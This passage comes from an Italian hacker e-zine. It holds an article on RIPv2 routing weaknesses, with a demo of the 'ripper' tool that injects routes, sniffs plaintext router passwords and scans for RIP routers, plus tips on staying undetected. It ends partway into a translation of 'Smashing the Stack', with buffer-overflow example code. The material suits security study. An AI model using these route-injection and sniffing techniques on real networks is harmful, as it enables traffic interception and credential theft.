mov [memAddress], 70fc3aH ; H finale = hex, 0x del C/C++ mov byte ptr [memAddress], 5 70fc3aH e' per ora un indirizzo inventato, dipende dalla scheda video. Comunque, diciamo che con calcoli e scrittura di byte in memoria video vengono fatti i giochi. E l'asm e' particolarmete indicato proprio per i motori grafici 3D, come C e C++ sono piu indicati per applicazioni in genere, in quanto ne velocizzano lo sviluppo. Quello che non faro' e' entrare nei solito dibattito senza fine "e' meglio l'asm o il C ?". Ne ho visti tanti in molti forum, e non portano a nulla. Se no si scirve un buon codice asm, un compilatore come VC++ M$ non lo batti facilmente, pero batti senza troppa fatica un C++ Builder, visto che la prima volta che ho buttato la un funzione in asm ho battuto con il 30% in meno di tempo la stessa funzione scritta in un buon C. Bene vi saluto, spero di non avervi creato troppa confusione con tutte queste nozioni. Anche per questo mi fermo. Forse era meglio che andassi in discoteca ? Chissa', magari ho perso il treno della mia vita... Va be dai, il vecchio assembler in compernso non tradisce mai. Alla prossima. spectrum it> ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0B] OQ20040308[0B] :: :: [0x08][SECURiTY] RiPv2 iNSECURiTiES [mydecay & click] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ---[ RIPv2 Insecurities -----[ mydecay -----[ click -[ Prelude ]- En aapning i skogen hvor solen skinner Hindret av trerne fanges vi i denne guds appning Det brenner det svir nar lyset slikker vaart kjott opp mot skyene en roeyk en sky av vaares form Fanget av begravelsen pinse vi av guds godhet ingen flammer intet hat de hadde rett vi kom til helvete - Burzum, Hvis Lyset Tar Oss -[ Overview ]- Salve a tutti :). In questo articolo prenderemo in considerazione il protocollo di routing dimanico RIPv2, con particolare attenzione verso i suoi buchi di sicurezza. Iniziamo col chiarire cosa si intende per protocollo di routing dinamico: in una rete, piccola o grande che sia possono avvenire dei cambi di topologia, per esempio quando un router viene messo offline per manutenzione, o quando crasha, ed in queste situazioni gli altri routers devono essere in grado di dialogare tra loro, rendersi conto della variazione di topologia avvenuta e cambiare gli instradamenti in modo da offrire ai pacchetti in ingresso una via sicura per giungere a destinazione. RIPv2 e' un protocollo di routing a vettore di distanza, che cioe' prende come criterio di discriminazione solo ed esclusivamente la distanza tra la sorgente e la destinazione e non altri paramentri come ad esempio la qualita' del link che lega i due endpoint. E' maggiormente utilizzato nelle LAN di piccole dimensioni in quanto gestisce fino ad un massimo di 15 hop. E' molto leggero e versatile, sfrutta UDP, e genera poco traffico (a parte qualche piccolo caso che verra' analizzato in seguito). -[ Funzionamento ]- Per capire bene come lavora RIPv2, che tra l'altro e' molto semplice facciamo uso di un esempio. 192.168.1.0/24 192.168.2.0/24 -------------- -------------- | | | | | | ------ ------ | R1 |-------------| R2 | ------ ------ | | | | | | ------ ------ | R3 |-------------| R4 | ------ ------ | | | | | | -------------- -------------- 192.168.3.0/24 192.168.4.0/24 Si si lo so. Come esempio non e' il migliore che potevo prendere ma m'e' venuto in mente questo e basta per i nostri scopi :). Dunque, il funzionamente e' molto facile: ogni router ogni 30 secondi mandera' una RESPONSE ai suoi vicini pubblicizzando le reti che stanno dietro di lui. Schematizziamo il tutto: Sorgente Destinazione Rete Pubblicizzata Metrica R1 R2, R3 192.168.1.0/24 1 R2 R1, R4 192.168.2.0/24 1 R3 R1, R4 192.168.3.0/24 1 R4 R2, R4 192.168.4.0/24 1 Questa tabella vale appena la rete viene resa "operativa", dopo un po' di tempo, diciamo 3 minuti, i router prendono "coscienza" della presenza di altre subnet, pubblicizzate dagli altri router e le inseriscono nelle proprie tabelle di routing. Sorgente Destinazione Reti Pubblicizzate Metrica R1 R2, R3 192.168.1.0/24 1 192.168.2.0/24 2 (via R2) 192.168.3.0/24 2 (via R3) 192.168.4.0/24 3 (via R2, R3) R2 R1, R4 192.168.1.0/24 2 (via R1) 192.168.2.0/24 1 192.168.3.0/24 3 (via R1, R4) 192.168.4.0/24 2 (via R4) R3 R1, R4 192.168.1.0/24 2 (via R1) 192.168.2.0/24 3 (via R1, R4) 192.168.3.0/24 1 192.168.4.0/24 2 (via R4) R4 R2, R3 192.168.1.0/24 3 (via R2, R3) 192.168.2.0/24 2 (via R2) 192.168.3.0/24 2 (via R3) 192.168.4.0/24 1 Oh finalmente ho finito... due balle. Cmq spero che abbiate capito. La metrica non e' nient'altro che un hop count. Un pacchetto che arriva a R1 proveniente da 192.168.1.4 ad esempio sa che per raggiungere 192.168.3.89 deve passare per R3 e raggiungera' la destinazione in 2 hop. Come abbiamo precedentemente detto, RIPv2 e' stato pensato per LAN piccole, infatti una metrica impostata a 16 corrisponde ad un host irraggiungibile. Inoltre RIPv2 per rendere piu' efficace il proprio funzionamente implementa due particolare comportamenti, conosciuti sotto il nome di Split Horizon e Triggered Updates. -[ Split Horizon ]- Il meccanismo dello split horizon ha lo scopo di evitare i loop. Come al solito ci serviamo di un esempio. /--------[ R1 ]\------------\ 192.168.1.0 \ \ \ \ 192.168.2.0-----[ R2 ]---------[ R3 ]------192.168.3.0 La situazione in questo caso sara' la seguente: Sorgente Destinazione Reti Pubblicizzate Metrica R1 R2, R3 192.168.1.0 1 192.168.2.0 2 (via R2) 192.168.3.0 2 (via R3) R2 R1, R3 192.168.1.0 2 (via R1) 192.168.2.0 1 192.168.3.0 2 (via R3) R3 R2, R3 192.168.1.0 2 (via R1) 192.168.2.0 2 (via R2) 192.168.3.0 1 Ora supponiamo che il router R3 crashi. La subnet 192.168.3.0 non sara' piu' raggiungibile in nessun modo. I router R1 e R2 si accorgeranno che il loro link con R3 e' caduto, in quanto R3 non rispondera' piu' con le sue response, ma saranno convinti di poter raggiungere R3 uno attraverso l'altro, cioe' R1 attraverso R2 e R2 attraverso R1 :). Questo creerebbe un macello tremendo. Pero' in nostro soccorso ci viene lo split horizon :) Questo meccanismo prevede di escludere dalla response verso un router tutte quelle route che sono state pubblicizzate da quello stesso router. In questo modo si eviterebbe di creare loop. Quindi la response che R1 inviera' a R2 includera' tutte le routes tranne quelle che egli stesso ha imparato da R2. Una variante, che e' anche la piu' diffusa di default, e' lo split horizon with poisoned reverse, che si differenzia dallo split horizon liscio solo per il fatto che al posto di omettere le routes, le include ma setta la loro metrica a 16, cioe' le marca come irraggiungibili. -[ Triggered Updates ]- Lo split horizon puo' salvarci da un noioso loop solo quando i router coinvolti sono due, ma quando cominciano ad essere piu' di due, lo split horizon si rivela inefficace. Senza stare qui a disegnare altri schemi se il router A pensa di raggiungere la destinazione via B, B via C e C via A, lo split horizon non serve a nulla, bisognera' solo aspettare che la metrica per questa data route salga di uno ad ogni "giro" fino a raggiungere quota 16 per essere quindi dichiarata irraggiungibile. Pero' al ritmo di una response ogni 30 secondi, il loop si risolverebbe in troppo tempo con una perdita di pacchetti considerevole. Quindi si e' pensato di risolvere la cosa, velocizzando il processo e quindi facendo in modo che la metrica per questa data route raggiunga quota 16 il piu' presto possibile. E qui entrano in gioco le triggered updates che forzano un router, appena questo riceve una response che varia una route qualsiasi, a generare una response a sua volta. In questo modo qualsiasi loop si risolverebbe nel giro di qualche secondo e la route verrebbe dichiarata irraggiungibile in poco tempo con consegente risparmio di pacchetti persi :). -[ Header ]- Analizzato il funzionamento del protocollo prendiamo in esame il suo header che e' composto da due porzioni: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | command (1) | version (1) | must be zero (2) | +---------------+---------------+-------------------------------+ | | ~ RIP Entry (20) ~ | | +---------------+---------------+---------------+---------------+ Questo qui e' l'header generale, mentre in seguito ci sara' l'header per ogni rotta. Command: Request o Response. Qui c'e' da aprire una piccola parentesi. La response abbiamo visto come funziona, e' ora di analizzare brevemente la request. Quando un router viene inserito nella LAN ha necessariamente bisogno di farsi un'idea di come sia strutturata la rete in modo da mandare le giuste REPLY. A questo scopo si serve della RIP REQUEST. Essa opera seguendo due modalita' principali. La prima e piu' semplice consiste nell'inviare una REQUEST specificando la route di cui si vuole sapere la metrica, mentre la seconda si ottiene specificando AFI == 0 e metric == 16, in questo modo si richiede al router TUTTA la sua routing table. Parentesi chiusa :) Version e' 1 o 2 a secondo dalla versione. Dopo i due bytes inutilizzati inizia lo spazio per le routes entry, che possono essere fino a 20 in un pacchetto. Queste entry sono formalizzate in un header che ha queste sembianze :) 0 1 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Address Family Identifier (2) | Route Tag (2) | +-------------------------------+-------------------------------+ | IP Address (4) | +---------------------------------------------------------------+ | Subnet Mask (4) | +---------------------------------------------------------------+ | Next Hop (4) | +---------------------------------------------------------------+ | Metric (4) | +---------------------------------------------------------------+ Eccolo qua il nostro bel headerone. Il primo campo e' il tipo di indirizzo, che e' sempre (o quasi) IP. Il secondo campo contraddistingue se la route e' stata appresa da un EGP o meno. Seguono a ruota campi la cui comprensione e' abbastanza agile :) Per concludere, l'header assume un altro aspetto se e' presente l'autenticazione, che nativamente e' di due tipi: plaintext e MD5. Se infatti e' presente allora il campo AFI avra' valore 0xFFFF e i 16 bytes dopo la route tag conterranno la chiave in plaintext oppure la key MD5. L'autenticazione con password plain text serve solo nel caso in cui si voglia proteggere il routing da aggiornamenti accidentali o cose comunque in "buona fede". Ovviamente quando entra in gioco un attacker maligno, questo tipo di autenticazione cade. Come funzioni l'autenticazione Keyed MD5 esula dagli scopi di questo articolo, ma potete fare riferimento all'rfc seguente: http://www.ietf.org/rfc/rfc2082.txt?number=2082 -[ RIPv2 InSeCuRiTiEs ]- Adesso che siamo entrati in confidenza con il protocollo e abbiamo chiaro come e' strutturato, possiamo affrontare le sue debolezze :) Come spero abbiate gia' capito nulla ci vieta di fingerci un router e di pubblicizzare le nostre rotte (completamente fasulle) per modificare il traffico in trasito nella nostra LAN. C'e' solo qualche piccolo accorgimento da prendere. Ovviamente i router se trovano due metriche per una stessa route sceglieranno quella piu' bassa, quindi sta a noi injectare rotte con metriche abbastanza basse. Altri campi fondamentali sono il next hop e soprattutto la netmask. Il next hop perche' e' proprio grazie a lui che che riusciamo a deviare il traffico. Se non lo specifichiamo verra' settata automaticamente sull'ip della nostra macchina. La netmask invece e' fondamentale per fare un altro simpatico giochetto. Se abbiamo una route che e' gia' pubblicizzata con la metrica di 1 non possiamo ovviamente ottenere una metrica inferiore e variare dunque il traffico...dobbiamo farci furbi. Nelle implementazioni ripv2 che abbiamo testato, ma dovrebbe essere cosi' per tutte, cio' che fa fede a parita' di metrica e' la precisione della netmask. Infatti se abbiamo due rotte con metriche identiche ma una ha netmask 255.255.0.0 e una 255.255.255.0 verra' tenuta la seconda. In questo modo se noi vogliamo deviare il traffico di un host basta che mettiamo metrica 1 e netmask 255.255.255.255. In questo modo abbiamo la quasi certezza (a meno che la metrica non sia gia' cosi' precisa) di riuscire a redirigere il traffico. -[ Fare le cose fatte bene ]- Ora che siamo consapevoli delle nostre potenzialita' all'interno della LAN si tratta solo di fare le cose fatte bene e quindi di non farci scoprire. Alcune dritte senza esempi in modo che siate voi a provare, testare, smanettare. Se decidiamo di redirigere il traffico sul nostro host per sniffare i fatti degli altri sarebbe buona regola fare il modo che dopo i pacchetti arrivino alla giusta destinazione (magari anche con un ttl fasullo) in modo da non insospettire troppo la vittima. In questo caso netfilter puo' essere di graaaande aiuto. Ricordate che le triggered updates sono spesso vostre nemiche. Se pensate di essere furbi e spoofare l'ip di un router per mandare rotte con metriche a 16 sappiate che cio' non e' possibile, perche' in tempo zero, arrivera' una triggered updates al router vero dicendogli di aver pubblicizzato una rotta a 16, cosa che lui non ha mai fatto e si affrettera' a mandare una response con metrica corretta. Se avete una topologia di questo tipo VOI ---- R1 ---- R2 ---- R3 ---- R4 e injectate una rotta con metrica 1 a R1 non pensiate che a R4 arrivi lo stesso con metrica 1 :). Arrivera' con metrica 4. Per fargliela arrivare con metrica 1 dovrete attuare un piccolo e semplice workaround, niente di difficile cmq. -[ Ripper ]- Ripper e' un tool che permette di fare tutte queste belle cosucce che abbiamo detto con una simpatica interfaccia command line e una (ancora sperilmentale nel momento in cui scrivo) comoda interfaccia ncurses. Supporta alcune simpatiche feature, come ad esempio il controllo che la rotta sia stata injectata correttamente, lo sniffing delle password in plain text e delle key MD5, lo scanning per rilevare la presenza di router ripv2 e l'injection remota, e inoltre funziona anche da agenda telefonica per i casi di emergenza con possibilita' di chiamare gratuitamente numeri 144* e 166*. Il testing di ripper e' stato fatto interamente con quagga e zebra, ogni donazione in cisco, juniper o 3com sara' ben accetta. Ed ora qualche breve esempio di funzionamento. Routing table del router prima dell'injection: fistfucker:/home/mydecay# route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 192.168.100.1 0.0.0.0 255.255.255.255 UH 0 0 0 ppp0 10.0.0.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 172.16.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 0.0.0.0 192.168.100.1 0.0.0.0 UG 0 0 0 ppp0 Ora nella macchina "evil" usiamo il nostro fichissimo tool come segue: bash-2.05b# ./ripper -r 90.0.0.0 -n 255.255.255.0 -m 4 -c RiPPeR v. 0.1.4 by mydecay && click Press 'q' and Enter to exit Route 90.0.0.0: Injected Correctly Route 90.0.0.0: Injected Correctly [...] Ed ora la routing table del nostro router si presentera cosi': fistfucker:/home/mydecay# route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 192.168.100.1 0.0.0.0 255.255.255.255 UH 0 0 0 ppp0 90.0.0.0 10.0.0.1 255.255.255.0 UG 5 0 0 eth0 10.0.0.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 172.16.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 0.0.0.0 192.168.100.1 0.0.0.0 UG 0 0 0 ppp0 dove 10.0.0.1 e' la macchina evil. Se vogliamo cambiare il default gw basta semplicemente che specifichiamo l'opzione -g seguita dall'indirizzo ip. Per vedere se i router rip utilizzano password e' necessirio lanciare ripper solo con l'opzione -x.. come segue: bash-2.05b# ./ripper -x RiPPeR v. 0.1.4 by mydecay && click Press 'q' and Enter to exit Packet Examined... password found == suka E quindi se volete injectare route su router che usano l'auth bastera' lanciare ripper cosi: bash-2.05b# ./ripper -r 90.0.0.0 -n 255.255.255.0 -p suka -c RiPPeR v. 0.1.4 by mydecay && click Press 'q' and Enter to exit Route 90.0.0.0: Injected Correctly [...] Ultima simpatica feature che andiamo ad analizzare e' il broadcast scanning per vedere se in una data subnet sono presenti o meno router ripv2. ATTENZIONE: nella versione corrente il broadcast scanning funziona solo con i router che non prevedono autenticazione. bash-2.05b# ./ripper -b 10.0.0.0/24 RiPPeR v. 0.1.4 by mydecay && click Scanner Mode Enabled. ** press ^c to exit ** Sending Packets: Packets From 10.0.0.0 to 10.0.0.254 Sent! Now Listening.. HOST 10.0.0.4 SPEAKS RIPv2!! *-*-*-*-*-*-*-*-*-*-*-*-* |-- IP: 90.0.0.0 |------ Metric: 1 |------ Netmask: 255.255.0.0 |------ Next Hop: 0.0.0.0 |------ Tag: 0 |------ Family: 2 [...] -[ Conclusioni ]- Proprio per la sua struttura ripv2 non e' nativamente un protocollo su cui ci si puo' affidare. Presenta parecchi punti deboli che e' possibile sfruttare per fare malanni. D'altra sappiamo bene che in LAN e' possibile fare il bello e il cattivo tempo in MOOOOLTI modi, questo si va ad aggiungere alla numerosa lista. In ultima analisi se proprio volete usare ripv2 per la sua facilita' di configurazione e leggerezza i consigli che posso darvi sono di usare l'autenticazione MD5 che si e' rilevata abbastanza sicura, oppure fare affidamento su una pratica particolarmente usata cioe' quella dei tunnel criptati tra router e router, che offre un livello di protenzione abbastanza elevato. hail & kill mydecay && click links: www.spine-group.org sezione cvs per l'ultima release di ripper www.ietf.org per gli rfc del caso ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0B] OQ20040308[0B] :: :: [0x09][TRADUZi0NE] SMASHiNG THE STACK F0R FUN AND PR0FiT [eafkuor] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .oO Phrack 49 Oo. Volume Seven, Issue Forty-Nine File 14 of 16 BugTraq, r00t, and Underground.Org bring you XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Smashing The Stack For Fun And Profit XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX by Aleph One aleph1@underground.org `smash the stack` [C programming] n. In molte implementazioni C e' possibile corrompere l' esecuzione dello stack scrivendo oltre la fine di un array dichiarato in una routine. Questo e' il cosiddetto "smashing dello stack" (letteralmente frantumare lo stack), e puo' causare il ritorno di una funzione ad un indirizzo a caso. Questo puo' produrre i piu' insidiosi bugs dipendenti dai dati conosciuti. Alcune varianti sono: trash the stack, scribble the stack, mangle the stack; mung the stack non e' usato. Guarda per spam; guarda anche per alias bug, fandango on core, memory leak, precedence lossage, overrun screw. Introduzione ~~~~~~~~~~~~ Negli ultimi mesi c'e' stato un largo incremento di vulnerabilita' per buffer overflow sia scoperte che exploittate. Esempi sono syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, etc. Questo documento cerca di spiegare cosa sono i buffer overflows e come lavorano i loro exploit. Una conoscenza base dell' assembly e' richiesta. Una comprensione della memoria virtuale e una conoscenza del gdb saranno molto di aiuto, ma non necessarie. Lavoreremo su CPU INTEL x86 e su Linux come sistema operativo. Qualche definizione di base prima di iniziare: un buffer e' semplicemente un blocco di memoria contigua che memorizza multiple istanze di dati dello stesso tipo. I programmatori C normalmente associano la parola buffer a quella di array. Piu' comunemente, array di caratteri. Gli array, come tutte le altre variabili in C, possono esssere dichiarati dinamici o statici. Le variabili statiche sono sono allocate in load time (tempo di caricamento)sul data segment (segmento dati). Le variabili dinamiche sono allocate inrun time (tempo di secuzione) sullo stack. Overfloware vuol dire abbondare,riempire oltre il limite. Noi ci occuperemo solo dell' overflow di buffer dinamici, altrimenti conosciuti come stack-based buffer overflows (buffer overflow basati sullo stack). Organizzazione In Memoria Dei Processi ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Per capire cosa sono gli stack buffer dobbiamo prima di tutto capire come un processo e' organizzato in memoria. I processi sono divisi in tre regioni: Text, Data e Stack. Noi ci concentreremo sulla regione dello Stack, ma una piccola spiegazione delle altre regioni e' d' obbligo. La regione Text e' organizzata dal programma e contiene il codice (le istruzioni) e i dati read-only. Questa regione corrisponde alla sezione text di un file eseguibile. Questa regione e' normalmente marcata read-only e ogni tentativo di scrittura su di essa avra' come risultato una segmentation violation. La regione Data contiene dati inizializzati e non. Le variabili static sono situate in questa regione. La regione Data corrisponde alla sezione data-bss di un file eseguibile. La sua dimensione puo' essere cambiata attraverso la system call brk(2). Se l' espansione del bss data o dell' user stack esauriscono la memoria disponibile il processo e' bloccato ed e' rischedulato per essere eseguito di nuovo con uno spazio di memoria maggiore. La nuova memoria e' aggiunta tra i segmenti data e stack. /------------------\ bassi | | indirizzi di | Text | memoria | | |------------------| | (dati inizializ) | | Data | | (non inizializ) | |------------------| | | | Stack | alti | | indirizzi di \------------------/ memoria Fig. 1 Process Memory Regions Cosa E' Uno Stack? ~~~~~~~~~~~~~~~~~~ Uno stack e' un tipo di dati astratto frequentemente usato nella scienza dei computer. Uno stack di oggetti ha la proprieta' che l' ultimo oggetto ad essere stato inserito nello stack sara' il primo ad essere prelevato. Questa proprieta' e' spesso chiamata coda last in first out, o LIFO. Diverse operazioni sono possibili sullo stack. Due delle piu' importanti sono PUSH e POP. PUSH aggiunge un elemento alla cima dello stack. POP, al contrario riduce la dimensione dello stack di uno rimuovendo l' ultimo elemento alla cima dello stack. Perche' Usiamo Uno Stack? ~~~~~~~~~~~~~~~~~~~~~~~~~ I computer moderni sono progettati con la necessita' di linguaggi di alto livello in memoria. La tecnica piu' importante per strutturare programmiscritti con linguaggi di alto livello e' la funzione o procedura. Da un punto di vista una chiamata di funzione altera il flusso di controllo giusto come fa un salto, ma diversamente da un salto, quando ha compiuto il suo dovere, la funzione ritorna il controllo all' istruzione successiva alla chiamata. Questa astrazione di alto livello e' implementatacon l' aiuto dello stack. Lo stack e' usato anche per allocare dinamicamente le variabili locali usate nelle funzioni, per passare i parametri alle funzioni, e per ritornare i valori dale funzioni. La Regione Stack ~~~~~~~~~~~~~~~~ Uno stack e' un blocco di memoria contigua che contiene dati. Un registro chiamato stack pointer (SP) punta alla cima dello stack. La base dello stack si trova ad un indirizzo fisso. La CPU implementa istruzioni per PUSHare sullo stack e POPare dallo stack. Lo stack e' formato da strutture stack (stack frames) logiche che sono pushate alla chiamata di una funzione e popate al ritorno. Uno stack frame contiene i parametri di una funzione, le sue variabili locali, e i dati necessari per ritrovare il precedente stack frame, includendo il valore dell' instruction pointer al tempo della chiamata di funzione. Dipendentemente dall' implementazione lo stack crescera' verso il basso (verso gli indirizzi dimemoria inferiori), o verso l' alto. Nei nostri esempi useremo uno stack che cresce verso il basso. Questa e' la direzione in cui lo stack di molti computer cresce, inclusi processori Intel, Motorola, SPARC e MIPS. Anche lo stack pointer e' dipendente dall' implementazione. Puo' puntare all' ultimo indirizzo dello stack o al prossimo indirizzo disponibile dopo lo stack. Per la nostra discussione assumeremo che punti all' ultimo indirizzo dello stack. Oltre allo stack pointer, che punta alla cima dello stack (indirizzi inferiori), e' spesso conveniente avere un fame pointer (FP) che punta ad una locazione fissa con un frame. Alcuni testi si riferiscono ad esso come local base pointer (LB). Per pricipio, le variabili locali possono essere referenziate prendendo il loro offset da SP. Comunque, mentre le parole sono pushate sullo stack e popate da esso questi offsets cambiano. Benche' in alcuni casi il compilatore puo' tenere traccia del numero di parole sullo stack e quindi correggere gli offset, in altri casi non puo', e in tutti i casi una considerevole amministrazione e' richesta. Inoltre, su alcune macchine, come quelle con processori Intel-based, l' accesso ad una variabile ad una distanza conosciuta da SP richiede piu' istruzioni. Conseguentemente, molti complatori usano un secondo registro, FP, per referenziare sia variabili locali che parametri perche' la loro distanza da FP non cambia dopo piu' PUSH e POP. Sulle CPU Intel, BP (EBP) e' usato per questo scopo. Sulle CPU Motorola, ogni registro di inirizzi tranne A7 (lo stack pointer) lo fara'. Per il verso in cui il nostro stack cresce, i parametri attuali hanno offset positivi e le variabili locali hanno offset negativi rispetto a FP. La prima cosa che una funzione deve fare quando e' chiamata e' salvare il precedente FP (cosi' potra' essere ripristinato all' uscita dalla funzione). Dopo copia SP in FP per creare il nuovo FP, e invita SP a riservare spazio per le nuove variabili. Questo e' chiamato procedure prolog. Dopo l' uscita dalla funzione lo stack deve essere pulito di nuovo, questo viene chiamato procedure epilog. Le istruzioni Intel ENTER e LEAVE e le istruzioni Motorola LINK e UNLINK sono state fornite per far lavorare meglio le procedure prolog e epilog. Guardiamo meglio lo stack con un piccolo esempio: example1.c: ------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } ------------------------------------------------------------------------ Per capire cosa il programma fa per chiamare function() lo compiliamo con gcc usando -S per generare in output del codice assembly: $ gcc -S -o example1.s example1.c Guardando l' output in assembly vediamo che la chiamata a function() si e' trasformata in: pushl $3 pushl $2 pushl $1 call function Questo PUSHa i 3 argomenti nello stack, e chiama function(). L' istruzione 'call' pusha l' instruction pointer (IP) sullo stack. Chiameremo l' IP salvato 'return address' (RET). La prima cosa fatta nella funzione e' la procedure prolog: pushl %ebp movl %esp,%ebp subl $20,%esp Questo pusha EBP, il frame pointer, sullo stack. Poi copia l' SP corrente su EBP, facendolo diventare il nuovo FP pointer. Questo nuovo FP lo chiameremo SFP. Poi alloca spazio per le variabili locali sottraendo la loro grandezza da SP. Dobbiamo ricordare che puo' essere indirizzata in multipli della grandezza di una word. Una word nel nostro caso sono 4 byte, o 32 bit. Cosi' i nostri 5 byte del buffer prenderanno realmente 8 bytes (2 word), e i nostri 10 byte di buffer prenderanno realmente 12 bytes (3 word) di memoria. Questo e' perche' SP e' sottratto da 20. Quindi il nostro stack assomigliera' a questo quando function() sara' chiamata (ogni spazio rappresenta un byte): base della cima della memoria memoria buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] cima dello base dello stack stack Buffer Overflows ~~~~~~~~~~~~~~~~ Un buffer overflow si ha mettendo in un buffer piu' dati di quanti ne puo' contenere. Come puo' questo frequente errore di programmazione essere sfruttato per eseguire codice arbitrario? Guardiamo quest' altro esempio: example2.c ------------------------------------------------------------------------ void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } ------------------------------------------------------------------------ Questo programma ha una funzione con un tipico errore di programmazione da buffer overflow. La funzione copia la stringafornita senza un controllo di lunghezza usando strcpy() invece di strncpy(). Se esegui questo programma avrai una segmentation violation. Vediamo come e' il suo stack quando chiamiamo la funzione: base della cima della memoria memoria buffer sfp ret *str <------ [ ][ ][ ][ ] cima dello base dello stack stack Cosa sta succedendo? Perche' abbiamo una segmentation violation? Semplice. strcpy() copia il contenuto di *str (large_string[]) in buffer[] finche' non trova un carattere nullo sulla stringa. Come possiamo vedere buffer[] e' molto piu' piccolo di *str. buffer[] e' di 16 byte, e noi stiamo provando a riempirlo con 256 byte. Questo significa che tutti i 250 byte dopo buffer[] sullo stack saranno sovrascritti. In questi byte sono inclusi SFP, RET, e persino *str! Noi abbiamo riempito large_string con il carattere 'A'. Il suo valore esadecimale e' 0x41. Questo significa che l' indirizzo di ritorno (RET) e' ora 0x41414141. Questo e' fuori dello spazio del processo. Questo e' perche' quando la funzione ritorna e cerca di leggere la prossima istruzione da questo indirizzo abbiamo una segmentation violation. Cosi' un buffer overflow ci permette di cambiare l' indirizzo di ritorno di una funzione. In questo modo possiamo cambiare il flusso di esecuzione del programma. Ritorniamo al nostro primo esempio e richiamiamo come era lo stack: base della cima della memoria memoria buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] cima dello base dello stack stack Proviamo a modificare il nostro primo esempio per fargli sovrascrivere l' indirizzo di ritorno, e dimostrare come possiamo eseguire codice arbitrario. Subito prima di buffer1[] sullo stack c' e' SFP, e prima ancora l' indirizzo di ritorno. Questo e' 4 byte prima la fine di buffer1[]. Ma ricorda che buffer1[] e' realmente di 2 word quindi lungo 8 byte. Cosi' l' indirizzo di ritorno sta a 12 byte dall' inizio di buffer1[]. Noi modificheremo l' indirizzo di ritorno in modo che l' assegnamento 'x = 1;' dopo la chiamata di funzione verra' saltato. Per farlo aggiungiamo 8 byte all' indirizzo di ritorno. Il nostro codice e' ora: example3.c: ------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } ------------------------------------------------------------------------ Quello che abbiamo fatto e' stato aggiungere 12 all' indirizzo di buffer1[]. Questo e' l' indirizzo dove l' indirizzo di ritorno e' situato. Vogliamo saltare l' assegnamento prima della printf(). Come sappiamo di dover aggiungere 8 all' indirizzo di ritorno? Abbiamo usato un valore di test (ad esempio 1), compilato il programma, e poi avviato gdb: ------------------------------------------------------------------------ [aleph1]$ gdb example3 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x8000490 : pushl %ebp 0x8000491 : movl %esp,%ebp 0x8000493 : subl $0x4,%esp 0x8000496 : movl $0x0,0xfffffffc(%ebp) 0x800049d : pushl $0x3 0x800049f : pushl $0x2 0x80004a1 : pushl $0x1 0x80004a3 : call 0x8000470 0x80004a8 : addl $0xc,%esp 0x80004ab : movl $0x1,0xfffffffc(%ebp) 0x80004b2 : movl 0xfffffffc(%ebp),%eax 0x80004b5 : pushl %eax 0x80004b6 : pushl $0x80004f8 0x80004bb : call 0x8000378 0x80004c0 : addl $0x8,%esp 0x80004c3 : movl %ebp,%esp 0x80004c5 : popl %ebp 0x80004c6 : ret 0x80004c7 : nop ------------------------------------------------------------------------ Possiamo vedere che al momento di chiamare function() RET e' 0x8004a8, e noi vogliamo saltare l' assegnamento a 0x80004ab. L' istruzione successiva che vogliamo eseguire e' all' indirizzo 0x8004b2. Un piccolo calcolo ci dice che la distanza e' 8 byte. Shell Code ~~~~~~~~~~ Cosi' ora che sappiamo che possiamo modificare il return address e il flusso di esecuzione, cosa vogliamo che il programma esegua? Nella maggior parte dei casi vorremo che esegua semplicemente una shell. Dalla shell potremo poi lanciare i comandi che vorremo. Ma cosa se non c'e' tale codice nel programma che stiamo provando ad exploittare? Come possiamo mettere istruzioni arbitrarie nel suo indirizzo? La soluzione e' di mettere il codice che stiamo provando ad eseguire nel buffer che stiamo overflowando, e sovrascrivere il return address cosi' che possa puntare al buffer. Assumendo che l' inizio dello stack si trovi all' indirizzo 0xFF, e che S sta per il codice che vogliamo eseguire lo stack sara' come questo: base della DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF cima della memoria 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoria buffer sfp ret a b c <------ 